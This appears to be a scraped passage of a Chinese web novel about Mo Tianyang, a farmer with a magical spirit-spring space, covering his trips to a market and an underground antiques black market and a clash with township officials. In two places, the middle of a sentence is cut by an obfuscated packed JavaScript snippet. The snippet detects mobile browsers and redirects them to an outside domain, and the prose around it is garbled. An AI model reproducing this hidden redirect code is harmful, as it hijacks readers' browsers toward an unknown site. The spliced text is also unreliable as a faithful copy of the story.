“嫂子快别夸了，再夸我该飘了。”莫天扬谦虚地摆摆手，“别听李哥的，我那两下子，也就糊弄糊弄村里人。” “我们说的可都是实话……”众人笑着附和。 尽管莫天扬和张学涛衣着普通，但因那神奇的蔬菜，两人备受重视，席间气氛始终融洽和谐。 饭后，原本王传林他们想要带着张学涛、张学涛还要去K歌，不过莫天扬以及那些家属们觉得太晚，还有小孩在身边，原定的计划也只能作吧。 王传林几人将莫天扬和张学涛送回房间闲聊一会离开。张学涛也很快回房休息。 关上房门，莫天扬走进浴室，心念一动便进入了灵泉空间。 温凉的泉水包裹全身，身上的酒意迅速消散。莫天扬心中一喜——没想到这灵泉水还有解酒奇效！ 待酒意全无，他走上灵泉中央的平台，吃了大半个清甜多汁的西瓜。深吸一口饱含灵气的空气，他的目光投向广袤水域中跳跃翻腾的肥美鱼群，心头猛地闪过一个念头： 灵泉之水能催生万物，令枯木逢春。这水域滋养了无数河鲜鱼蟹，生机勃勃。那么……它能否让海洋生物也在此存活繁衍？若真可以，以后想吃什么顶级海鲜，岂不是唾手可得？ 第一百零四章黑市 当沛川市民还在沉睡，白日喧嚣的街道一片冷清时，莫天扬已打车前往郊区市场。 步入市场，莫天扬不由得摇头。眼前景象望不到头，不仅两侧店铺林立，连路中央也挤满了摊位。货品琳琅满目，批发零售皆有，莫天扬暗自感慨：本以为浅驼市场够大，可与这新建的市场一比，简直小巫见大巫。 水果区飘荡着南北方乃至热带水果混杂的浓郁果香。水果虽好，莫天扬却无心流连——他此行的目标并非水果。即便其中许多品种他见所未见，他也脚步未停。 在蔬菜区转了一圈，背包里多了些村里没有的蔬菜种子。农副产品区则让他驻足良久，他仔细搜寻着，想找到高品质的高粱。 几乎走遍整个农副产品区，高粱不少，却没有一种能与胡标他们带回来的品质相比。莫天扬难掩失望。 见他放下店里最好的红高粱还摇头，店主皱起眉头：“小伙子，连我这儿的东三省顶级高粱都看不上？我看你甭白费功夫了。” 莫天扬苦笑：“老板，高粱确实不错。但我想要的是那种几乎不用化肥、农药种出来的。” “自己酿酒？” “对，自己喝，想弄点无公害的。” “那我能弄到。不过产量低，价可不便宜。” “多少？” “一斤最少也得三块八。” “行，你有多少我要多少，得送到浅驼那边。” 老板眼睛一亮，没想到随口一问竟撞上个大主顾。“兄弟，快进来坐坐，咱好好聊聊！”他热情招呼道。 半个小时后，莫天扬走出店门。老板追问道：“莫兄弟，还打算看点啥？我人头熟，给你介绍。” 莫天扬眼中光芒微闪：“主要是来看高粱的……对了，这附近有卖古旧书籍的地方吗？” 老板眼神一动：“地方倒有，可没熟人领着，门儿都摸不着。” “黑市？” “对。你真想去，我找人带你进去。不过千万擦亮眼，别上当，更别惹事——那儿边的人，没几个善茬儿。” “行，劳烦了。” 老板打了个电话，回头叮嘱：“有口罩吧？进去戴着，出来赶紧走。那地方一般没事，但保不齐。万一……万一真碰上麻烦，给我电话，我托人捞你。” 十来分钟后，一辆没挂牌照的轿车悄然停下。“小兄弟，上车，戴上眼罩。不到地方千万别摘。”这是上车前老板最后的叮嘱。 车子启动，司机立刻递来眼罩。莫天扬依言戴上。眼罩的黑色布料隔绝了所有光线，轿车在黑暗中行驶了将近一个小时。时间之长，让莫天扬不禁怀疑这黑市是否已不在沛川地界。 就在他暗自计算方位时，车身一顿，停了下来。司机的声音响起：“到了，下车。” 莫天扬扯下眼罩，闭目适应了几秒才睁开。眼前的景象让他微微一怔——这是一片巨大的地下空间！明亮的灯光将四周映照得如同白昼，密密麻麻的地摊铺陈开去，一眼望不到头。喧嚣的叫卖声在地下穹顶下回荡，形成一种奇特的嗡嗡声。 送他来的轿车无声地滑走。莫天扬深吸一口气，下意识摸了摸脸上的口罩，定了定神，走向最近的一个摊位。 摊上散乱地摆着十几件锈迹斑斑的器物。莫天扬指着其中一件古鼎：“老板，这物件多少？”他刻意询问，主要是想摸摸行情。 摊主同样戴着口罩和帽子，闻声抬眼扫了他一下。只这一眼，莫天扬便捕捉到对方浑浊的眼睛里闪过一丝精光——显然，自己那句生涩的问话已经暴露了新手身份。 “一口价，三百万。”摊主的声音平淡。 尽管早有心理准备，这价格还是让莫天扬心头猛跳。他现在虽有些钱，卡里也不过十来万。他没有立刻离开，反而蹲下身，拿起那古鼎，煞有介事地敲敲打打，翻来覆去地“研究”了好几分钟。随后，他又拿起摊上其他几件器物，如法炮制地询问价格。每一件的报价都足以让他心跳加速。 当他最终起身离开时，摊主眼中难掩失落，低声嘟囔：“啧，要高了？” 器物、瓷器占据了市场上九成以上的摊位。莫天扬对此一窍不通，只能边听旁人问价议价，边不动声色地学着询问几句，试图装点门面，也丰富点见识。 几乎把整个地下市场走遍，莫天扬也没发现一本古书籍的影子，失望渐渐笼上心头。又走过几个古董摊，他的脚步却猛地顿住——一个摊位上摆放的并非古董，而是一株株根部裹着湿泥、用塑料布包着的植物！其中几株，他赫然认出是国家一级保护物种！ 想到自己那逆天的灵泉空间，莫天扬心头一动，下意识走了过去。摊主原本百无聊赖，见终于有人光顾，立刻来了精神。 “随便看！看上哪棵，价钱好商量！”摊主热情招呼。 莫天扬蹲下身，目光在一株株植物间逡巡。他仔细辨认着，希望能发现像九彩荷莲、杏树或金银枣那样能引动空间异变的物种。 片刻后，他的目光被一株奇特的小树吸引。它只有四五十公分高，形似盆栽，主干不过鸽蛋粗细，树皮却龟裂斑驳，显得异常沧桑。最奇特的是根部包裹的泥土，呈现出一种诡异的血红色。 “老板，这株呢？”莫天扬指向它。 摊主看了一眼：“这棵啊？我也不晓得叫啥，是有人从深山老林里挖出来的。你要诚心要，八千给你，开个张！” “拿来我看看。” 莫天扬伸手接过。小树入手瞬间，他心头便是一惊——看着不大，分量却沉甸甸的，少说有二十来斤！他低头凑近那血红色的泥土，鼻翼微动，竟隐隐嗅到一丝奇异的、类似茶香的清冽气息！ “深山老林里挖出来的东西，你我都清楚，没点特殊手段很难养活。这树形是有点意思，就算养不活，当个盆景也凑合。四千，我马上拿走。”莫天扬开始砍价。 “太少了！七千？” “四千五。” “六千五，不能再低了！” “五千二，一口价，不行就算了。” 几番拉锯，摊主最终妥协：“行吧行吧，五千二，开个张图个吉利！” 莫天扬付了钱，小心翼翼地将这株透着古怪的小树装进背包。他没有立刻离开，不死心地再次俯身，仔细查看摊位上剩余的每一株植物。他拿起来细看，甚至捻起一点泥土放到鼻尖轻嗅——可惜，再没有哪一株能像刚才那棵一样，带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16102229|177151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给他那种奇异的悸动。 “老板，哪里有字画古书籍。” “哪里，字画古籍玉石都有。” 莫天扬提起背包，径直朝老板指点的方向走去。走出几步，他手探入背包，意念微动，那株怪树已被悄然送入灵泉空间。 沿途依旧充斥着各式文物。知晓字画古籍区域就在前方，莫天扬本无心旁顾。然而，就在他经过一处堆满古旧器物的摊位时，胸口印记骤然传来一阵灼热！一股莫名的悸动瞬间攫住了他。 他猛地停步，目光扫向摊位。下一秒，瞳孔骤然收缩——一枚土黄色的古钱币静静躺在杂物之中！它的形制、大小，竟与他曾经贴身佩戴的那枚蓝色古钱币一模一样！唯一的区别，便是这枚是土黄色。 莫天扬强压心头的震动，没有直接去拿那枚钱币。他随手拿起摊位上另外几件器物，装作饶有兴致地询问、砍价。摊主的报价动辄几万、几十万，甚至上百万，听得莫天扬心头发紧，暗自掂量着卡里的余额，生怕不够买下那枚看似毫不起眼的土黄钱币。 就在他佯装放下手中器物，准备去拿古钱币的瞬间，一只手却抢先伸了过去！一个同样戴着口罩的买家拿起钱币，掂量着问：“这是什么钱？颜色这么土黄？” 摊主瞥了一眼：“不清楚。问过好些行家，都说不出来历。材质也古怪。诚心要？十万拿走。” 那买家翻来覆去看了半天，摇头嗤笑：“你可真敢开牙！一枚珍品母钱也不过几万。这玩意儿在历代钱谱上连个影子都没有，你也敢喊十万？”说着，随手将钱币丢回摊上。 莫天扬立刻伸手抓起。就在指尖触碰到冰凉的金属瞬间，胸口的印记猛地一颤，仿佛呼应一般！ “确实没记载过。”莫天扬稳住声音，“老板，便宜点。” 摊主目光闪烁。这枚怪钱币问的人不少，但每次都被价格吓退，今天光听“贵”字就听了不下十遍。眼看莫天扬是唯一肯还价的，他早已没了底气。 “八万！”摊主降了价。 莫天扬摇头，深吸一口气：“东西是有点年头，但钱谱上查无此物，搞不好是古人做来辟邪的玩意儿。三万，我拿走。不行就算了。”他作势就要把古钱币放回原位。 摊主心头一紧——这到嘴的鸭子眼看要飞！“四万八！”他几乎是咬着牙报出底价，“拿走！” 莫天扬故作沉吟，随即干脆道：“行！” 飞快付了钱，莫天扬跟摊主要了个小盒子装好古钱币。借着将盒子塞进背包的掩护，心念一动，这枚引发印记感应的宝贝也被送入了灵泉空间。 终于来到字画古籍的区域。莫天扬刚在一个摊位前蹲下，拿起一副略显古旧的卷轴，正要展开细看—— “砰！” 一声尖锐的枪响毫无预兆地撕裂了市场的喧嚣！紧接着，远处的摊位传来惊恐的尖叫，人群如同炸开的马蜂窝，瞬间乱作一团！ 莫天扬猛地起身，只见眼前的摊主正手忙脚乱地将地上的字画胡乱塞进一个大布袋。他下意识想把手中的卷轴递还回去，却已被汹涌的人潮裹挟着，身不由己地向前推挤而去。那卷轴，竟被他无意中紧紧攥在了手里…… 第一百零五章美女霸王花 哗啦！ 眼前骤然一亮，几乎是被身后汹涌的人流硬生生“推”出地下的莫天扬，视野豁然开朗——竟是一片望不到边的庄稼地！ 他还没从这反差中回神，身边的人群已如炸窝的马蜂般四散奔逃，衣着体面的人也顾不得形象，一头扎进了一人多高的玉米地里！ “还不快跑！等着被抓啊？！”不知谁吼了一嗓子。 莫天扬猛地惊醒！他回头望去，只见深蓝色的制服身影正从他们挤出来的地方快速追出！他再无犹豫，立刻跟着人潮冲进了茂密的玉米地。 瞥了眼周围混乱奔逃的身影，莫天扬心念微动，手中的卷轴瞬间消失，被送入灵泉空间。他没有随大流，反而选了个相对人少的方向，在沙沙作响的玉米叶间奋力穿行。 十多分钟后，他终于冲出青纱帐，跨过一道泥泞的灌溉渠，踏上了坑坑洼洼的土路。他大口喘着气，抹了把额头的汗，摇头苦笑：第一次逛黑市，就差点成了瓮中之鳖！ 定了定神，莫天扬正想辨别回酒店的方向，刚走出几步，心头警兆陡生！ 他下意识转身—— 一股清冽的、带着淡淡汗意的女孩幽香率先涌入鼻腔。紧接着，一道矫健的身影已如猎豹般扑至眼前！ 那是一位身姿高挑的女执法者！利落的制服勾勒出惊心动魄的曲线，一张清丽绝伦的容颜此刻却布满冰霜，眼神锐利如刀。 根本不给莫天扬任何反应时间！她闪电般抓住他一条胳膊，猛地一拽一扛，莫天扬只觉天旋地转，整个人就被重重摔在了她坚实的背上！ “放开！”莫天扬惊怒交加，本能地挣扎扭动，试图摆脱钳制。慌乱中，他的手掌似乎按到了一处异常柔软滑腻的地方…… “啊！”一声短促的惊呼！ 女执法者猝不及防，被他骤然爆发的力量带得失去平衡！莫天扬脚下也是一滑—— 噗通！咔嚓！ 两人纠缠着，狠狠摔进了路边的玉米地！几株青翠的玉米秆瞬间遭殃，被压倒在地。莫天扬更是结结实实地压在了女执法者身上！ 四目相对，近在咫尺！ 女执法者白皙的俏脸瞬间涨得通红，一直红到了耳根。那双原本锐利的眼眸此刻盈满了羞愤的水光——她长这么大，连手都没被异性碰过，何曾被一个大男人如此压倒在身下？！ 莫天扬也慌了神，手忙脚乱地想撑起身子。情急之下，手掌用力一按—— “唔！”一声压抑的痛呼响起。 莫天扬只觉得掌心触感饱满而柔软……他触电般弹开手，这才惊觉自己按在了何处！ “你……你混蛋！”女执法者又羞又痛，泪珠在眼眶里打转。 莫天扬脑子嗡的一声，面红耳赤，再不敢有丝毫停留！他几乎是连滚带爬地挣脱起身，头也不回地沿着土路狂奔而去，眨眼间消失在玉米地的拐角。 羞愤交加的女执法者挣扎着爬起来，冲出玉米地时，土路上早已空空如也。然而，地上却孤零零地躺着一个破旧的、印着“南开大学”字样的背包。 “可恶！”她恨恨地跺了下脚，走过去捡起背包。带着一丝疑虑和莫名的情绪，她拉开了拉链—— 下一刻，她愣住了。 背包里空空荡荡，只有十几包用透明塑料袋装着的、再普通不过的蔬菜种子。 “他……不是从黑市逃出来的？”这个念头不由自主地浮上心头。刚才那羞人的一幕再次闪现，让她脸上又是一阵发烫。 “队长！没事吧？”这时，三个气喘吁吁的执法队员从另一片玉米地里钻了出来。看到队长手中的背包，三人眼睛一亮。 “队长，找到赃物了？！” “不是赃物。”女队长迅速平复情绪，声音恢复了冷静，“可能是附近哪个菜农丢的，里面都是些蔬菜种子。” “菜农？”一个队员接过背包打开一看，顿时泄了气，“嗨，还真是种子。可这附近也没菜地啊？”其他两人也凑过来看了看，都失望地摇头。 就在这时！ “站住！”两个鬼鬼祟祟的身影从玉米地另一侧钻出，一看到他们，吓得魂飞魄散，扭头就跑！ “追！”三个队员立刻将背包随手往地上一丢，拔腿就追了过去。 女队长默默弯腰，再次捡起那个破旧的背包。她看着莫天扬消失的方向，眼神变得复杂难明。指尖无意识地抚过背包粗糙的表面，刚才那场荒诞又羞人的“意外”，以及那个仓惶逃走的年轻男人，清晰地浮现在脑海中。 一条宽阔的柏油路边，一辆低调的商务车缓缓停在了一个浑身泥泞、狼狈不堪的人身旁。车窗降下，露出张学涛满是诧异的脸。他上下打量着活像刚从泥坑里捞出来的莫天扬。 “天扬？”张学涛瞪大了眼，“你这是……掉沟里了？怎么跑这荒郊野外来了？” 莫天扬苦笑一声，抹了把脸上的泥点子：“唉，别提了，回头再说。我这衣服……”他边说边瞥了眼张学涛那光洁如新的商务车内饰，意思不言而喻。 “嗨，车脏了洗洗就行！快上来！”张学涛毫不在意地招呼。 沛川酒店房间内。 张学涛将几个印着名牌Logo的购物袋塞给刚洗完澡、裹着浴巾的莫天扬。“天扬啊，”他强忍着笑意，“我现在想想还是觉得可乐！你一个名牌大学生，能在沛川把自己搞迷路，还弄成个泥猴样儿？” 莫天扬自嘲地哈哈一笑：“农贸市场不就在郊区嘛，想着顺便看看周边的种植情况，谁知道……”他耸耸肩，没往下说。 “对了，”他话锋一转，“虽说弄了一身泥，但收获不小——找到个靠谱的地方买高粱了！” “高粱？”张学涛一愣，“你跑去农贸市场就为这个？” “对啊！三块八一斤！” “嚯！这么贵？” “贵有贵的道理！是几乎没用化肥农药的高粱。这种高粱酿出来的屠苏酒，才算得上正宗！”莫天扬语气肯定。 他随手打开一个购物袋，看到衣服吊牌上的价格，顿时摇头：“涛哥，这衣服……太破费了吧？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16102230|177151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “没几个钱！赶紧试试合不合身！”张学涛不在意地摆摆手。 等莫天扬换好衣服走出来，整个人的气质瞬间提升了好几个档次。张学涛满意地点点头：“啧啧，这就对了嘛！天扬，以后真得注意点形象，就凭你现在这身行头出街，回头率绝对爆表！” “我一个种地的，穿这么好干嘛？”莫天扬有些不自在。 张学涛大笑：“走走走，吃饭去！大伙儿都等着呢！” 依旧是那个熟悉的包厢。莫天扬推门进去，所有人的目光齐刷刷投来，瞬间亮了。 “嚯！天扬，这才像样嘛！”有人立刻起哄。 “早该这么穿了！” “帅！” 莫天扬刚坐下，张学涛就绘声绘色地讲起了他“郊区迷路变泥人”的糗事，引得满桌哄堂大笑。几个女家属更是笑得前仰后合，眼泪都出来了。 “天扬，这次多住几天！我们好好带你逛逛沛川，保证不让你再迷路！”李红军热情邀请。 莫天扬赶紧摇头：“可别！我这人天生方向感差，只熟悉山里的小道。这高楼林立的城市，对我来说就是迷宫。万一再把你们带沟里，罪过就大了！” “多走走就熟了嘛！”大家纷纷劝道。 美酒佳肴陆续上桌，包厢里气氛热烈，谈笑风生。 酒过三巡，李红军忽然放下筷子，看向张学涛：“涛子，你刚说在哪儿接到的天扬来着？五里店？” “对啊，就五里店那片儿。怎么了？”张学涛随口应道。 众人的目光转向李红军。李红军若有所思地看了眼莫天扬，压低了些声音：“我来的路上，听一个在警局的朋友说……今天上午，警方在五里店那边端了个‘大买卖’，现场抓了五十多号人，起获的文物据说有几千件！” “你是说……沛川最大的那个地下黑市，给端了？”王传林眼眸一缩，立刻反应过来，惊讶地问。 “没错！”李红军点头，再次看向莫天扬，带着点后怕的语气，“天扬啊，真不知道该说你运气好还是不好。你迷路迷到五里店那片儿，居然没撞上那场面！这要是稀里糊涂被当成同伙给摁了，就算你没进去过，想把你捞出来也得费老大劲！” “瞎说什么呢！”王传林立刻反驳，“那地方神出鬼没的，没熟人带根本摸不着门！天扬第一次来沛川，路都认不全，上哪找那鬼地方去？”他显然觉得这担心纯属多余。 莫天扬心里咯噔一下，面上却只嘿嘿一笑，故作好奇地问：“那个……农贸市场也在五里店？” “对啊！就在那一片儿！”有人肯定地回答。 莫天扬顿时无语。好家伙！那司机带着他兜兜转转将近一个小时……敢情一直就在五里店附近绕圈？这保密工作做的…… “对了天扬，”李红军又追问了一句，“你在那片儿晃悠，真没看见警察？” 莫天扬一脸“茫然”地摇头：“光顾着找路了，哪还顾得上看人啊？不过上了大路后，警车倒是看到不少呼啸过去的。” 第一百零六章乡里来人 在沛川待了三天，莫天扬终于拿到了屠苏酒的检验报告。掺有灵泉水的酒样，其化验结果让所有知情者都激动不已——不仅完全不含任何有害物质，更检测出数种对人体极为有益、在其他酒类中几乎不可能存在的稀有微量元素！ 拿到报告，莫天扬谢绝了王传林等人的热情挽留，动身返回青木村。家里一大摊子事虽有人打理，但豆芽和蔬菜的浇灌，都离不了他的灵泉水。 商务车在村口停下。莫天扬下车，对车里的张学涛道：“涛哥，下午再回吧？” 张学涛摆摆手：“不行啊，我那儿也一堆事呢，得赶紧回去盯着。高粱存放的事你放心，回去就给你办妥！” 送走张学涛，莫天扬把装着新衣服的袋子放回自己房间。刚走出屋门，准备去帐篷那边，就被曹慧、陈峰等人齐刷刷的目光钉在了原地。 “怎么，才走了三天就不认识了？”莫天扬被看得有点发毛。 曹慧噗嗤一笑，打趣道：“天扬，你这一趟回来，整个人都变‘亮’了！等下若曦和思雨回来，怕不是要被你迷得找不着北？” 莫天扬一愣，二话没说，转身就回了屋。再出来时，身上已换回了平日那套洗得发白的廉价衣裤。 刚走到院子里，大青、小白带着几只小狼崽就欢快地围了上来。莫天扬抬手揉了揉大青和小白的脑袋，长长舒了口气。 五星级酒店什么都好，可不知怎的，总让他觉得憋闷。此刻站在这熟悉的土地上，泥土和草木的气息涌入鼻腔，那股无形的束缚感瞬间烟消云散。 不远处，曹慧、陈峰等人看着他这“秒换装”的举动，一个个忍俊不禁，哈哈大笑起来。他们还真没见过莫天扬这么“可爱”的一面。 等大青它们跑开，莫天扬走到帐篷边。“峰叔，这几天村里没啥事吧？” 陈峰收起笑容，略带忧色：“村里倒没事。不过……有人在城里看见莫栓了，说这小子现在混得人模狗样，身边跟着十来个小弟，整天出入高档饭店。” 莫天扬心头微动，面上却只淡淡一笑：“出来就出来了，提他干嘛。” 陈峰无奈摇头：“我也不想提。可他放话了，说要找你‘算账’。” “就他？”莫天扬嗤笑一声，“没有安云飞在背后，他算个什么东西。” 说完，他环顾院子：“今天怎么没见若曦？” 曹慧抿嘴笑道：“若曦和思雨一大早就去县城了。” “去县城干嘛？” “还不是为你的事奔波！” “宏利他们呢？” “宏利和克雄去下面收高粱了，不过收上来的品质还是达不到你的要求。海龙回老家了，一来看看家里，二来也打听打听他们那边有没有好高粱。” “给宏利打电话吧，”莫天扬立刻说，“高粱的事解决了，不用忙了。我找到渠道了，最多一个星期就能运到。” “沛川那边……好像不产高粱吧？”陈峰有些疑惑。 “东北的。”莫天扬简单答道。 临近中午，刘思雨的车开进了院子。看到正在灶台前忙活的莫天扬，下车的刘思雨和颜若曦眼睛都是一亮。 莫天扬冲她们点点头：“事情办得怎么样？” “都办妥了！”颜若曦扬了扬手里的文件袋，“商标也注册下来了！只要检验没问题，你的酿酒大业随时可以开工！” “检验结果在我屋里桌上，你们去看看。” 片刻后，两人拿着报告兴冲冲地跑出来，脸上写满了难以置信。刘思雨把报告举到莫天扬面前，声音都提高了八度：“天扬！这结果……该不会是你找人‘做’的吧？！” 莫天扬手上动作一顿，哭笑不得：“怎么可能！” “可这也太神奇了吧！”颜若曦指着报告，激动地说，“这里面检测出的有益微量元素，种类多含量高，市面上所有酒类根本没法比！这……这简直是独一份啊！” 陈峰等人虽不太懂酒，但从刘思雨那激动的话语里也听明白了：这屠苏酒，绝对非同凡响！ “天扬，这么说，屠苏酒能开酿了？”陈峰期待地问。 莫天扬点头：“王传林他们已经在帮忙采购设备和新一批药草了。只要设备一到，咱们就能扩大生产规模。” “那……酿酒的人手呢？” 莫天扬深吸口气，目光投向一旁正慢悠悠喝酒吃菜的爷爷：“爷爷年纪大了，不能再操劳过度。屠苏是古法酿造，方子金贵，选人必须谨慎可靠。大家伙这几天琢磨琢磨，先挑五个信得过、手脚麻利、嘴严实的人。” 下午，莫天扬正在屋里研究药草，耳畔突然传来大青低沉的警告性低吼。这段时间少有外人进村，狼群已经很少发出声响。此刻示警，必有陌生人靠近！ 他起身看向窗外。只见两辆黑色轿车停在路边，车上下来六个男人，个个腆着啤酒肚，走起路来一步三晃，神态倨傲，看着就让人生厌。 见那六人径直朝帐篷走去，莫天扬皱了皱眉，只要不是来找茬，他也懒得理会。 然而，没过几分钟，房门被猛地推开，曹慧一脸焦急地冲进来：“天扬！你快出去看看！那几个人……像是乡里来的干部！” 莫天扬眼神一冷。几天前胡标被撤职，理由荒谬得可笑——仅仅因为他租地没“请示”乡里！现在这帮人又找上门来…… 帐篷里，胡标正陪着笑，给那六人每人递上一块切好的西瓜。那西瓜沙瓤多汁，清香扑鼻，可这六位“贵客”只是漫不经心地咬了几口，便随手将剩下的西瓜块丢在地上！鲜红的瓜瓤在泥地上摔得四分五裂，汁水横流。刚走进帐篷的莫天扬目睹此景，眼中瞬间结满了寒霜。 为首一个胖子抹了抹嘴，对胡标颐指气使道：“胡标，去弄二十个这样的西瓜，等会儿我们走的时候带上。” 胡标脸色顿时僵住。旁边的陈峰、曹慧、颜若曦等人眼中也涌起强烈的不满，但碍于对方的身份，他们只是攥紧了拳头，敢怒不敢言，生怕给莫天扬惹麻烦。 胡标见莫天扬进来，忙指着他介绍：“天扬来了。这几位是乡里下来的领导，说有事找你。” 莫天扬的目光在地上那滩被糟蹋的西瓜上停留了几秒，冷冷地对胡标说：“标叔，以后这西瓜，咱还是 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接着竖起第二根：“第二嘛，你承包了二百多亩沙地，规模不小。为了避免将来出现劳资**，保护你和村民的权益，乡里专门为你设立了一个监管账户，并成立专业的管理团队，负责帮你打理资金和日常运营。这都是为了你好，给你保驾护航！” 此言一出，颜若曦俏脸含霜，杏目中的寒意几乎要凝成实质！她就知道这些人没安好心，却没想到竟能无耻到如此地步！所谓“参与管理”，分明是明抢酒厂；“打理资金”，更是要掐住莫天扬的经济命脉！ 莫天扬嘴角勾起一抹冰冷的弧度：“哦？这么说，乡里是来‘帮’我的？” “当然！”分头男一脸“为你好”的虚伪表情，“为了你的事，我们可是开了好几次专题会议才研究出这套最稳妥的方案！对了，你这里场地简陋，我们在乡政府大院旁边已经给你协调好了办公场地，以后有什么事，直接去乡里找我们就行。” “呵，”莫天扬嗤笑一声，目光锐利如刀，“那我想问问，这到底是我自己花钱租地、种地、建作坊，然后请你们来当大爷？还是说，我花钱请你们来替**活，当我的员工？你们说了半天，意思不就是我出钱出力，你们坐享其成，替我当家作主？你们真当我是三岁小孩，傻得没边了吗？！” 这几句毫不留情的话，像重锤砸下，帐篷里瞬间死寂！ 颜若曦眼中闪过一丝激赏。胡标、陈峰等人则脸色煞白，额头冒汗。他们骨子里对“官”的敬畏根深蒂固，从未想过有人敢如此顶撞乡里的干部，心中又是惊惧又是担忧。 “你……你怎么说话呢！我们这都是为你好！”分头男气得脸都涨成了猪肝色。 “天扬！有话好好说……”胡标急得连连给莫天扬使眼色，生怕他彻底得罪了这帮人。 莫天扬却缓缓摇头，声音冷得像冰碴：“标叔，您听听，他们这说的是人话吗？我建酒坊，他们来管；我赚的钱，他们也要管！这不是说话，这是在放屁！” “放肆！你……” 莫天扬猛地踏前一步，冰冷的目光锁住分头男，带着一股不容置疑的压迫感：“营业执照，我拿到了！银行账户，我自己开的！管理团队，我有人！听明白了吗？听明白了，就给我——滚！” 第一百零七章灵泉之变 话已至此，那六人再是厚颜无耻，也实在没脸待下去了。他们狼狈起身，眼神怨毒如蛇蝎，死死剜了莫天扬一眼。 “莫天扬，你给我们等着！”撂下这句狠话，六人灰溜溜地钻进了轿车，绝尘而去。 颜若曦、曹慧等人脸上难掩激动之色。胡标却忧心忡忡：“天扬，那几个可都是乡里有实权的人物，你这样彻底撕破脸，以后怕是……” 莫天扬微微叹息：“标叔，他们刚才想干什么，您也看得清清楚楚。一味的忍让，只会让他们得寸进尺，变本加厉！与其那样，不如干脆亮明态度。只要咱们行得正坐得直，就不必怕他们什么歪门邪道！” 胡标只能苦笑摇头。颜若曦眸光闪动，轻声提醒：“忍让不行，但直接撕破脸也非上策。天扬，以后行事，还是得多考虑周全些。” 莫天扬点点头：“知道了。我先回屋了。” 夜幕低垂，刘思雨从外面回来。听闻下午的风波，她秀眉紧蹙：“简直无耻之尤！这种事他们也做得出来？” “思雨，”胡标忧心地看着她，“你现在毕竟归他们管，可千万别……” 刘思雨神色坦然：“标叔，我是县里直接派下来的。他们这事本身就上不得台面，真要闹大了，吃不了兜着走的是他们。” 莫天扬深吸口气，认真道：“思雨，标叔的担心不无道理。你既然选择了这条路，就得谨慎行事，意气用事对你未来的发展没好处。” “那你还不是……”刘思雨忍不住反驳。 “我和你不一样，”莫天扬打断她，语气平静却带着一股光棍气，“我就是个种地的，光脚不怕穿鞋的，凭什么要怕他们？” “天扬说得对！”陈宏利在一旁忍不住插嘴，“这种玩意儿就不能惯着！” 陈峰瞪了儿子一眼：“吃你的饭！少插嘴！” …… 夜色深沉。送走众人，看着刘思雨和颜若曦锁好院门，莫天扬又嘱咐大青看家护院，这才带着小白回到自己房间。他迫不及待地拿出那枚在地下黑市得来的土黄色古钱币——它能引动胸前印记异动，绝非凡物！ 古钱币入手，胸口的印记果然再次传来熟悉的灼热感。想起当初那枚蓝色古钱币嵌入胸口后开启了灵泉空间，莫天扬尝试着将这枚土黄色钱币按在印记上。然而，毫无反应。 他皱了皱眉。片刻后，脑中灵光一闪！他咬破指尖，将一滴殷红的鲜血滴在钱币之上。 嗡！ 血珠瞬间被钱币吸收，一股古朴厚重的土黄色光晕骤然自钱币表面弥漫开来！ “成了！”莫天扬低呼一声，立刻拿起光晕流转的钱币再次按向胸前印记！ 异变陡生！ 那钱币仿佛瞬间有了生命，如同上次一样，化作一道流光，“钻”进了他的胸膛！但这次的位置并非印记所在，而是紧邻其旁！一股熟悉的、令人窒息的炙热感瞬间席卷全身！ 有过一次经验的莫天扬并未惊慌。他心念一动，意识瞬间沉入灵泉空间。 甫一进入，眼前的景象让他瞳孔骤缩！ 整个灵泉空间仿佛被无形的力量撕裂！一半是汹涌澎湃、深邃如墨的湛蓝水域，巨浪滔天；另一半则是厚重沉凝、广袤无垠的土黄色大地，烟尘弥漫！两种截然不同的能量泾渭分明，却又诡异地共存于这片空间。视野被狂暴的能量和弥漫的烟尘水汽遮蔽，能见度不过数米！ 经历过空间剧变的洗礼，莫天扬毫不犹豫，直接躺倒在翻腾的水域中，任由那蕴含生机的灵泉涤荡周身。至于小白，早已不知被这天地异象卷到了何处。 不知过了多久，莫天扬缓缓睁开双眼。 精神为之一振！他清晰地感觉到，空间内的气息变得更加清新纯净，蕴含的生命能量似乎也更磅礴了。原本湛蓝的水域仿佛被提纯过，呈现出一种深邃醉人的宝石蓝。平静的水面上，不时有大鱼欢快地跃出，鳞片在……等等，光芒？ 莫天扬猛地抬头！ 只见那曾经永远被浓雾笼罩的天空，此刻竟悬着一轮朦胧的光晕！它形似微缩的太阳，散发着柔和却足以照亮整个空间的光辉！虽然光芒尚弱，却彻底驱散了往日的阴霾，让这片天地第一次拥有了“白昼”！ 压下心头的震撼，莫天扬习惯性地望向水上种植平台的方向。然而，就在他转身的刹那，整个人如遭雷击，发出一声难以置信的惊呼！ “岛？！那……那是一座岛？！” 心念电转，他瞬间出现在那片突兀的土地上。 仔细一看，又不禁摇头。说是小岛，实则面积小得可怜，不过两三亩见方。岛上的土壤呈现出一种肥沃的暗褐色，莫天扬随手抓起一把，用力一捏，那泥土竟如油脂般细腻，从指缝间丝滑地流淌而下。 “土倒是好土，就是……太小了。”莫天扬有些失望。 